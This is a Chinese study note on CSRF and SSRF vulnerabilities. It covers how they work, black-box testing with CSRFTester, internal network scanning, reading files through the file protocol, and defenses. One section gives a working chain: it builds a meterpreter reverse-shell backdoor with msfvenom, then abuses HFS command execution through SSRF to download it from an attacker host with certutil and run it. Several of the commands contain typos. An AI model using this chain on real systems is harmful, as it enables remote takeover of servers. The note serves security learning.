文章目录

  • CSRF
    • CSRF原理
    • CSRF安全问题黑盒怎么判断
  • SSRF
    • SSRF原理
    • SSRF黑盒可能出现的地方
    • 有SSRF,可以做什么事儿?
    • SSRF漏洞挖掘


CSRF

CSRF原理


测试CSRF漏洞的工具:CSRFTester



CSRFTester设置代理,会抓取新建管理员时向服务器发送的数据包,然后用抓取的数据包构造HTML页面。注意发送注册信息的形式(表单?IMG?)
CSRF利用流程:获取目标的触发数据包;利用CSRFTester构造导出;诱使受害者访问特定地址触发。

CSRF安全问题黑盒怎么判断

  1. 看验证来源,也就是是否采用同源策略,看数据包referer的值,本身网站的数据包认定安全,不是本身网站发送的数据包为非法数据包。

    同源策略也不安全,如果改referer的值,同源策略就失效了。

    如何测试同源策略?

    从后台点击新建文章肯定允许访问,如果直接从百度访问新建文章的URL,也允许访问,说明不存在同源策略。

  2. 看凭证有无token;
    token值用来判断是不是同一个用户。每操作一次都会更改token值,而且会在操作前对比token值。token值可以有效防御CSRF攻击

    这里没有token,说明只要是这个用户就行了,不需要证明发送数据包的是不是同一个主机。

  3. 看关键操作有无验证。
    关键验证就好比,修改密码的时候会验证你的用户名和密码。

SSRF

SSRF原理



SSRF漏洞(原理&绕过姿势)
SSRF就相当于php中的文件包含

SSRF黑盒可能出现的地方

有SSRF,可以做什么事儿?

  • 内网扫描

    内网IP有三个段:10段(10.0.0.0-10.255.255.255即10.0.0.0/8)、172段(172.16.0.0-172.31.255.255即172.16.0.0/12)、192段(192.168.0.0-192.168.255.255即192.1688.0.0/16)


    访问卡了,有两种情况:请求被驳回;请求有数据返回。要是真的不存在,会直接404 not found

  • 协议
    各个语言支持的协议:

    通过file协议可以读取本地文件,文件路径可以通过网站报错来知道,还可以读取中间件、 系统默认文件。

  • 漏洞利用
    直接利用中间件或其他服务漏洞获取系统权限。这里利用HFS漏洞HFS远程命令执行漏洞

    # 生成后门代码msfvrnom -p /winnodws/meterpreter/reverse_http LHOST=x.x.x.x LPORT=6666 -f exe -o xx.exe# 监听本机6666端口use exploit/multi/handlerset payload windows/meterpreter/reverse_httpset lhost 0.0.0.0ser lport 6666run# 远程下载后门文件http://127.0.0.1/" />==%00{.exec|cmd /c certutil.exe -urlcache -split -f http://x.x.x.x:6666/xx.exe xx.exe.} # 执行后门文件http://127.0.0.1/?search==%00{.exec|cmd /c xx.exe.} 

SSRF漏洞挖掘

思路

  • 社交分享qzone.qq.com?url=www.xiaodi8.com,直接改为qzone.qq.com?url=htttp://127.0.0.1来测试SSRF。如果一个网站有预览、快照等图片加载功能功能,说明网站有请求过资源。
  • 地址加载跳转界面,本身网站并不是一个登录界面,它会请求资源地址来加载登录页面。就说明它有触发本地去请求登陆页面,然后把登录页面的资源加载出来。

总的来说:如果网站接收你的值,并且会把这个值进行资源访问,就可能存在SSRF。

SSRF白盒可能出现的地方:

  • 功能点抓包指向代码块审计
  • 功能点函数定位代码块审计

SSRF常见安全修复防御方案:

  • 禁用跳转
  • 禁用不需要的协议
  • 固定或限制资源地址
  • 错误信息统一信息处理